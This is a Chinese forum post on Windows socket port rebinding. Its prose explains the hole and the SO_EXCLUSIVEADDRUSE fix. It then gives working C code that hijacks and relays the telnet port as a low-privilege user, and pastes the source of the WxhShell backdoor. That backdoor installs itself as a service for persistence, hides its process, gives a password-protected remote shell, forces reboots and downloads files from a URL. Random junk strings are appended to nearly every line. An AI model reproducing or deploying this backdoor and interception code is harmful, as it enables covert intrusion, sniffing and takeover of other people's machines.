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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;6?K&}J)-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xQQ6D  
0 !Yi.'+  
  saddr.sin_family = AF_INET; Xma0k3;-  
^IpS 3y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mYCGGwD  
WVZ\4y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n):VuOjm  
Ap/WgVw;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D+OkD-8q  
FwyPmtBj  
  这意味着什么?意味着可以进行如下的攻击: ]l`DR4 =  
|c) #zSv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ec|IT0;  
,~v1NK*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XIU2l}g  
lG2){){j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gb-n~m[y  
n}2}4^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Rzp-Q5@M Y  
p~t$ll0s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rie1F,  
k:f Rk<C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]BA8[2=m  
'2NeuK-KD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 --FvE|I  
T"O!  
  #include '?\Hm'8  
  #include "xWC49   
  #include 61wiXX"N  
  #include    [X|P(&\hQd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @uc%]V<:k  
  int main() m|!sY[!  
  { d/e9LK  
  WORD wVersionRequested; 7{6wNc  
  DWORD ret; 5QlJX  
  WSADATA wsaData; grZN.zTO  
  BOOL val; )[A}h'J)  
  SOCKADDR_IN saddr; ,W.O*vCA  
  SOCKADDR_IN scaddr; 7Ev~yY;N  
  int err; d%WFgf}  
  SOCKET s; Q9( eH2=  
  SOCKET sc; m#uutomi0  
  int caddsize; 9rhz#w  
  HANDLE mt; bp }~{]:b  
  DWORD tid;   (q)W<GYP  
  wVersionRequested = MAKEWORD( 2, 2 ); @ ~PL|Pp_  
  err = WSAStartup( wVersionRequested, &wsaData ); xMe[/7)4  
  if ( err != 0 ) { 9vXrC_W9  
  printf("error!WSAStartup failed!\n"); <3i!{"}  
  return -1; , =#'?>Kq  
  } Ox58L>:0m  
  saddr.sin_family = AF_INET; Q~jUZ-qN  
   @rE>D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 44!bwXz8  
W)KV"A3C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8$1<N  
  saddr.sin_port = htons(23); ]1X];x&e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wuPx6hCl  
  { \5Hfe;ny-~  
  printf("error!socket failed!\n"); T3\Q<  
  return -1; @hk~8y]rz  
  } #fQStO  
  val = TRUE; 905 /4z'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;#AV~Y- s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ALhu\x>AY  
  { ;%Qu;FtC  
  printf("error!setsockopt failed!\n"); xand%XNv  
  return -1; J5429Soo  
  } }nkX-PG9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )H)HR`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^27r-0|l^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^hU7QxW  
hW(Mf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m!g f!  
  { vFQ'sd]C  
  ret=GetLastError(); b?y3m +V`  
  printf("error!bind failed!\n"); u\50,N9Wp{  
  return -1; YI|7a#*F  
  } 9\V^q9l  
  listen(s,2); 1%H]2@  
  while(1) b*7OIN5h  
  { <Dl7|M  
  caddsize = sizeof(scaddr); nT:ZSJWM  
  //接受连接请求 O0e6I&u :  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <`BUk< uf#  
  if(sc!=INVALID_SOCKET) KATt9ox@  
  { XJGOX n$/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7Y:1ji0l  
  if(mt==NULL) oTZNW  
  { JBp^@j{_  
  printf("Thread Creat Failed!\n"); G>"w$Us  
  break; < f1Pj  
  } (,[Oy6o  
  } sk 9*3d5I  
  CloseHandle(mt); q* +}wP  
  } Ve<l7U;  
  closesocket(s); LXr nAt  
  WSACleanup(); JW (.,Ztm  
  return 0; +Ibcc8Qud  
  }   L9"V$MO  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5Osx__6$t  
  { H{yeN 5   
  SOCKET ss = (SOCKET)lpParam; u[})|x*N  
  SOCKET sc; >IsRd  
  unsigned char buf[4096]; Fc{hzqaP8  
  SOCKADDR_IN saddr; 6Wl+5 a6V  
  long num; 0KE+RzrB  
  DWORD val; a?_N8|k[  
  DWORD ret; CM_FF:<tn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;mu^WIj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wUv Zc  
  saddr.sin_family = AF_INET; o/ ozX4C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9ELLJ@oNC  
  saddr.sin_port = htons(23); 82{Lx7pI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CtfI&rb[  
  { #3leMZ6  
  printf("error!socket failed!\n"); Z+x,Awq  
  return -1; o[X 'We;  
  } 2eK!<Gj  
  val = 100; z1K@AaRx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f%;8]a9  
  { unKi)v1  
  ret = GetLastError(); (]>= y  
  return -1; 0"#'Z>"  
  } 4 cDjf~n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qS:hv&~  
  { -W<x|ph U  
  ret = GetLastError(); Yxp.`  
  return -1; QX-%<@  
  } ?#da4W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {1Z8cV   
  { Dyyf%'\M  
  printf("error!socket connect failed!\n"); hOG9  
  closesocket(sc); [@(M%  
  closesocket(ss); Bvb.N$G  
  return -1; E<y0;l?H<  
  } u_shC"X:  
  while(1) B&3oo   
  { G(" S6u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xEb+sE6Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MOi.bHCQJP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &NM.}f  
  num = recv(ss,buf,4096,0); DryN}EMOKD  
  if(num>0) MEf`&<t  
  send(sc,buf,num,0); j51Wod<[  
  else if(num==0) >+ZBQ]~  
  break; FxeDjAP  
  num = recv(sc,buf,4096,0); [uqe|< :  
  if(num>0) Q8OA{EUtq  
  send(ss,buf,num,0); |*W_  
  else if(num==0) 2:3-mWE  
  break; TrD2:N}dI  
  } Y">m g=B  
  closesocket(ss); 1j"_@?H[  
  closesocket(sc); &3~lZa;D  
  return 0 ; CobMagPhr  
  } Xf o3fW)s  
Q$u&/g3NvL  
mCah{~  
========================================================== O|wu;1pQ  
)IQ5Qu  
下边附上一个代码,,WXhSHELL bS7rG$n [  
S5'ZKk  
========================================================== ~QzUQYG*  
nK[T.?Nz  
#include "stdafx.h" PxE0b0eo  
8$9Q=M  
#include <stdio.h> M uz+j.0  
#include <string.h> @/jLN  
#include <windows.h> !'scOWWn  
#include <winsock2.h> ?'SHt9b3|  
#include <winsvc.h> NX.%Rj*  
#include <urlmon.h> D_kz'0^|  
ML eo3  
#pragma comment (lib, "Ws2_32.lib") g2)jd[GM  
#pragma comment (lib, "urlmon.lib") 2w"Xv,*.'i  
|W $epOLg  
#define MAX_USER   100 // 最大客户端连接数 k%2woHSu&  
#define BUF_SOCK   200 // sock buffer l}w9c`f  
#define KEY_BUFF   255 // 输入 buffer RgTm^?Ex  
o^ Z/~N  
#define REBOOT     0   // 重启 Q5Yy \M  
#define SHUTDOWN   1   // 关机 !'m MGxkEb  
SUGB)vEa  
#define DEF_PORT   5000 // 监听端口 kHMD5Q  
N!me:|Dn  
#define REG_LEN     16   // 注册表键长度 Fs+ CY  
#define SVC_LEN     80   // NT服务名长度 uT1xvXfqP  
/1D]\k()  
// 从dll定义API )\K;Ncp[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tx)!qpZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QEtf-xNn^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kD"BsL*6!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tFj[>_d7  
(p6$Vgdt  
// wxhshell配置信息 $+'bRUo  
struct WSCFG { %PF:OB6[|  
  int ws_port;         // 监听端口 @9$u!ny0  
  char ws_passstr[REG_LEN]; // 口令 %3SBs*?  
  int ws_autoins;       // 安装标记, 1=yes 0=no Lvco9 Ak  
  char ws_regname[REG_LEN]; // 注册表键名 M( eu wy  
  char ws_svcname[REG_LEN]; // 服务名 HgVPyo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *aem5 E`c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 skSs|slp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3jeB\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gz09#nFZk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KH=4A-e,0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hKx*V"7/#\  
PeU>h2t  
}; %5[,U)X"  
=@ SJyW  
// default Wxhshell configuration 8)KA {gN}  
struct WSCFG wscfg={DEF_PORT, $RAS pM  
    "xuhuanlingzhe", $nf5bo/;  
    1, X6h@K</c^:  
    "Wxhshell",  s*XE  
    "Wxhshell", WRdBL5  
            "WxhShell Service", $~^Y4 } m  
    "Wrsky Windows CmdShell Service", N"',  
    "Please Input Your Password: ", nO;*Peob  
  1, -=;V*;  
  "http://www.wrsky.com/wxhshell.exe", _R/^P>Q?  
  "Wxhshell.exe" D6Q6yNE  
    }; fCMFPhF  
heizO",8.&  
// 消息定义模块 KzgW+6*G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dx.,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h=a-~= 8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9>QGsf.3  
char *msg_ws_ext="\n\rExit."; mQ$a^28=qR  
char *msg_ws_end="\n\rQuit."; EdC^L`::  
char *msg_ws_boot="\n\rReboot..."; At t~N TL  
char *msg_ws_poff="\n\rShutdown..."; QXaE2}}P  
char *msg_ws_down="\n\rSave to "; th :I31  
= n>aJ(=Pd  
char *msg_ws_err="\n\rErr!"; N'5AU (  
char *msg_ws_ok="\n\rOK!"; @gc|Z]CV  
j Z6]G{  
char ExeFile[MAX_PATH]; +KcD Y1[  
int nUser = 0; GS*Mv{JJ  
HANDLE handles[MAX_USER]; ^i;y2c  
int OsIsNt; ezz;NH  
jIvSjlmI  
SERVICE_STATUS       serviceStatus; M= ]]kJ:I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XT "-   
LK>J]p  
// 函数声明 G=VbEL^H  
int Install(void); =cP7"\  
int Uninstall(void); U??T>  
int DownloadFile(char *sURL, SOCKET wsh); =!R+0  
int Boot(int flag); FS+v YqwK  
void HideProc(void); ",O}{z  
int GetOsVer(void); P&g.%8b~84  
int Wxhshell(SOCKET wsl); n1E^8[~'  
void TalkWithClient(void *cs); bdxmJ9a:R  
int CmdShell(SOCKET sock); 7,v}Ap]Pa  
int StartFromService(void); ?7eD< |  
int StartWxhshell(LPSTR lpCmdLine); ;)c 4  
L_~vPp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hQFF%xl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N!=$6`d  
`i"7; _HoV  
// 数据结构和表定义 n){F FM  
SERVICE_TABLE_ENTRY DispatchTable[] = mh$Nwr/W:  
{ `@tn Eg  
{wscfg.ws_svcname, NTServiceMain}, >Nho`m(  
{NULL, NULL} f7du1k3  
}; H)5V \  
jI%g!  
// 自我安装 Q($.s=&l;  
int Install(void) 2 D vKW%;  
{ 'P`L?/_3  
  char svExeFile[MAX_PATH]; I_aS C4  
  HKEY key; gX'nFGqud  
  strcpy(svExeFile,ExeFile); \v,m r|  
%=PGvu  
// 如果是win9x系统,修改注册表设为自启动 "TQ3{=j{  
if(!OsIsNt) { T+knd'2V6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _oU}>5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i0jR~vF {B  
  RegCloseKey(key); $%GW~|S\C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G&DL)ePu]m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7j//x Tr}a  
  RegCloseKey(key); -ge :y2R_w  
  return 0; L2WH-XP=  
    }  9{(A-  
  } ;Q{~jT  
} ==^9_a^  
else { "4Bk  
?z/ )Hkw  
// 如果是NT以上系统,安装为系统服务 ^ALR.N+<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6~O9|s^38w  
if (schSCManager!=0) <<iwJ U%:  
{ &}+^*X  
  SC_HANDLE schService = CreateService jjTb:Z=.'  
  ( v "Yo  
  schSCManager, id=:J7!QU  
  wscfg.ws_svcname, $ KAOJc4<  
  wscfg.ws_svcdisp, loR,f&80=O  
  SERVICE_ALL_ACCESS, -V\$oVS0S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c 0/vB  
  SERVICE_AUTO_START, 3mCf>qj73  
  SERVICE_ERROR_NORMAL, VKtZyhK"h  
  svExeFile, '0MH-M  
  NULL, Kc,=J?Ob  
  NULL, ->q^$#e  
  NULL, {g@?\  
  NULL, wBa IN]Y,  
  NULL D>>?8a  
  ); fa:V8xa  
  if (schService!=0) qHtonJc  
  { x<lY&KQ0  
  CloseServiceHandle(schService); ))xyaYIZkk  
  CloseServiceHandle(schSCManager); 1{0 L~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6|HxBC#4  
  strcat(svExeFile,wscfg.ws_svcname); Oh]RIWL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~IhLjE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L&nqlH@+~  
  RegCloseKey(key); 9cMQ51k)E  
  return 0; 4IUdlb  
    } Zk .V   
  } Yfa`}hQ  
  CloseServiceHandle(schSCManager); ^v+3qm@,  
} s/cclFji]  
} =IC cN|  
ynQ+yW74Z  
return 1; -,Y[`(q  
} f?P>P23  
67]kT%0  
// 自我卸载 ;+6TZqklQ  
int Uninstall(void) ("!P_Q#  
{ Fr{}~fRW<  
  HKEY key; xoQ;fVNp  
KO''B or  
if(!OsIsNt) {  |tVWmm^m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c1>:|D7w  
  RegDeleteValue(key,wscfg.ws_regname); 552U~t  
  RegCloseKey(key); )h>H}wDs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )i$:iI >k  
  RegDeleteValue(key,wscfg.ws_regname); QswbIP/>:'  
  RegCloseKey(key);  gK Uci  
  return 0; 5+yT{,(5  
  } =|Vm69  
} z c4l{+3  
} m_;<7W&p]  
else { qy$1+>f1  
9s9_a4t5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 873'=m&  
if (schSCManager!=0) tY>_ +)oi  
{ Ku3/xcu:My  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +61h!/<W  
  if (schService!=0) y'#i'0eeL  
  { PrwMR_-  
  if(DeleteService(schService)!=0) { -s5>GwZt  
  CloseServiceHandle(schService); FcI ZG _  
  CloseServiceHandle(schSCManager); :.J]s<J(F  
  return 0; "'zVwU  
  } N |nZf5{  
  CloseServiceHandle(schService); Qi?xx')  
  } %<?U`o@*  
  CloseServiceHandle(schSCManager); .R! /?eN  
} hY5tBL  
}  L4 )  
J~=tR1 k  
return 1; XxeyGs^%9  
} Dc;zgLLL  
7 8n`VmH~L  
// 从指定url下载文件 ^PrG5|,s  
int DownloadFile(char *sURL, SOCKET wsh) x |0@T?  
{ r@v_hc  
  HRESULT hr; YI!@ ,t  
char seps[]= "/"; ?x-:JME0  
char *token; B(/)mB  
char *file; v[t *CpGd  
char myURL[MAX_PATH]; b$O1I[o  
char myFILE[MAX_PATH]; $1< ~J  
m:4Ec>?e  
strcpy(myURL,sURL); c*:H6(u  
  token=strtok(myURL,seps); $Il:Yw_  
  while(token!=NULL) l2 [{T^  
  { (Ymj  
    file=token; GL- r;  
  token=strtok(NULL,seps); aNxq_pRb  
  } 5uxB)Dx)  
@Q#<-/  
GetCurrentDirectory(MAX_PATH,myFILE); ,'>,N/JA  
strcat(myFILE, "\\"); 3<vw#]yL  
strcat(myFILE, file); n |Is&fy  
  send(wsh,myFILE,strlen(myFILE),0); w>6~ zAh  
send(wsh,"...",3,0); '$m uA\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hDAxX= FM  
  if(hr==S_OK) VzZ'W[/7)B  
return 0; rJ7yq|^Z  
else 4y$tp1 8  
return 1; OEwKT7CX  
D qh rg;  
} 6 OLp x)fG  
5$;#=WAY  
// 系统电源模块 NJ];Ck  
int Boot(int flag) 8/oO}SLF  
{ l:?w{'i$  
  HANDLE hToken; /_g-w93   
  TOKEN_PRIVILEGES tkp; pipO ,n  
;wF 0s  
  if(OsIsNt) { ~o?(O1QY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a3?D@@Qnw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,]* MI"  
    tkp.PrivilegeCount = 1; ~wl 4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NKJ+DD:'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a ]~Yi.H  
if(flag==REBOOT) {  p;k7\7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fRT4,;  
  return 0; xfsf  
} kH9P(`;Vq  
else { .*_uXQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B!X;T9^d  
  return 0; p.50BcDg  
} 2zQ62t}  
  } V\4zK$]  
  else { `L#`WC@[o  
if(flag==REBOOT) { !`$xN~_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [ _N w5_  
  return 0; CQGq}.Jt!  
} Q`* v|Lp  
else { =FfxHo1k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @}[yC['  
  return 0; {!G  
} kl/eJN'S  
} gLGu#6YVu  
"z/)> ?Wn  
return 1; $~s|%>@  
} h:qt?$]J  
%hM8px4d  
// win9x进程隐藏模块 ~E J+<[/  
void HideProc(void) DE659=Tq  
{ qS.TVNZ  
34e> R?J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :<w2j 6V  
  if ( hKernel != NULL ) LLlt9(^d  
  { ljJi|+^$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qY^@^)b[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FWu[{X;  
    FreeLibrary(hKernel); T|fmO<e*n  
  } :e|[gEA  
7F!(60xY  
return; =mWr8p-H  
} 2qQG  
n9p_D  
// 获取操作系统版本 S( nZ]QEG  
int GetOsVer(void)  +?I 1Og  
{ { t1|6R0  
  OSVERSIONINFO winfo; F!yr};@^p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _${//`ia=  
  GetVersionEx(&winfo); 6Uik>e7?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) njoU0f1`  
  return 1; d \[cFe1d  
  else /j|Rz5@ =  
  return 0; rQ+2 -|#  
} 8;vpa*  
}/cMG/%  
// 客户端句柄模块 ~l SdWUk>  
int Wxhshell(SOCKET wsl) O wJZ?j& )  
{ miCW(mbO8  
  SOCKET wsh; wE*jN~  
  struct sockaddr_in client; ;3 |Z}P  
  DWORD myID; "B 9aJo  
_pM~v>~*+  
  while(nUser<MAX_USER) 3\~ RWoB0u  
{ bU+ z(Eg6  
  int nSize=sizeof(client); 1_Ag:> #X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U! xOJ  
  if(wsh==INVALID_SOCKET) return 1; nS`DI92I  
0w24lVR.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4PsJs<u  
if(handles[nUser]==0) RXZ}aX[h  
  closesocket(wsh); wy)I6`v  
else P*M$^p  
  nUser++; D6M ktE)'  
  } .&R j2d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }% m:^*@$9  
gOnVN6  
  return 0; @j vF[wi;  
} %?`TyVt&0  
`tZ-8f  
// 关闭 socket _t+.I9kQ  
void CloseIt(SOCKET wsh) "h>B`S  
{ O F|3y~z  
closesocket(wsh); iCK p"(kf  
nUser--; GNIZHyT(O  
ExitThread(0); vXA+4 ?ZG  
} >^!qx b-  
x<-n}VK\  
// 客户端请求句柄 equTKM  
void TalkWithClient(void *cs) 8T2iqqG/1  
{ kS@6'5U  
pMfP3G7V  
  SOCKET wsh=(SOCKET)cs; S9'8rn!_  
  char pwd[SVC_LEN]; $cUTe  
  char cmd[KEY_BUFF]; /N'|Vs,X  
char chr[1]; G"~%[k  
int i,j; HU='Hk!  
ZV?~~_ 9  
  while (nUser < MAX_USER) { ==i:*  
fNkN  
if(wscfg.ws_passstr) { V6.w=6:`X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mr8r(LGY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G{8>  
  //ZeroMemory(pwd,KEY_BUFF); 8D[,z 7n  
      i=0; j![;;  
  while(i<SVC_LEN) { 1E]|>)$  
y_mD9bgW  
  // 设置超时 fT&>L  
  fd_set FdRead; RkW)B^#  
  struct timeval TimeOut; %#^)hX,+Q  
  FD_ZERO(&FdRead); Z6Owxqfht  
  FD_SET(wsh,&FdRead); Ul41R Ny)  
  TimeOut.tv_sec=8; ,2I8,MOg  
  TimeOut.tv_usec=0; c,\!<4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \vU1*:3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kN99(  
BWd{xP y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PN$vBFjm  
  pwd=chr[0]; lM<SoC;[  
  if(chr[0]==0xd || chr[0]==0xa) { 0d%p<c  
  pwd=0; tk"+PTGJT  
  break; ]I|3v]6qR  
  } :=I@<@82W  
  i++; -X)KY_Xn@/  
    } ~PoBvHi  
`k>h2(@9S  
  // 如果是非法用户,关闭 socket FK8G BkQ!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b)5z'zQu  
} -@wnQ?  
5tIM@,.I/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mM&*_#( 6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _B5t)7I  
AxXFzMW  
while(1) { .7!n%Ks  
7Z(F-B +j  
  ZeroMemory(cmd,KEY_BUFF); 1 >nl ]yO  
C#y[UM5\k;  
      // 自动支持客户端 telnet标准   *i}Nb* Z3  
  j=0; 2rr}5i)r|  
  while(j<KEY_BUFF) { r dc} e"v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q|^TR__  
  cmd[j]=chr[0]; 7d7"^M  
  if(chr[0]==0xa || chr[0]==0xd) { %/86}DCfE?  
  cmd[j]=0; nmLn]U=  
  break; 5K~kzR L$r  
  } 7,\Uk|  
  j++; m}x&]">9  
    } | CC(`<\R  
`@Q%}J  
  // 下载文件 _>G=v!  
  if(strstr(cmd,"http://")) { w_gPX0N}3n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pmj]"7Vd[  
  if(DownloadFile(cmd,wsh)) BZXP%{njS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I1H} 5 bf3  
  else >UP{= `  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ed,w-;(n~  
  } >@2l/x8;  
  else { Dn 6k,nVh  
s[V$f vW  
    switch(cmd[0]) { <By6%<JTn  
  p8>.Q/4  
  // 帮助 ?D].Za^km  
  case '?': { =ZsM[wd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MZ(TST"  
    break; q+MV@8w  
  } g[rxK n\Z  
  // 安装 'wo[iNy[  
  case 'i': { b9ON[qOMN  
    if(Install()) kp4*|$]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jl"),;Od  
    else blwdcdh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o8:K6y  
    break; e7{n=M  
    } 6AZJ,Q\E@  
  // 卸载 ]7QRelMiz+  
  case 'r': { !bnuCc  
    if(Uninstall()) idm!6]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )\:cL GM  
    else =:+k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z2m%L0  
    break; %SRUHx[D  
    } 1PMBo=SUe8  
  // 显示 wxhshell 所在路径 d9zI A6y  
  case 'p': { $J/Z~ (=JT  
    char svExeFile[MAX_PATH]; O7#ECUH  
    strcpy(svExeFile,"\n\r"); ~~?4w.k  
      strcat(svExeFile,ExeFile); Q0K4_iN)&  
        send(wsh,svExeFile,strlen(svExeFile),0); 00') Ol&  
    break; wW3fsXu  
    } gr'M6&>  
  // 重启 C+r<DC3  
  case 'b': { Y",Fs(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z$3 3NM  
    if(Boot(REBOOT)) Kilq Jg1%C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lm kv .XF  
    else { zMfr`&%e  
    closesocket(wsh); `laaT5G\y  
    ExitThread(0); <a-I-~  
    } or_x0Q  
    break; XE_|H1&j  
    } tHSe>*eC  
  // 关机 {x $H# <Y  
  case 'd': { EDR;" G(N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ta>:iQ a  
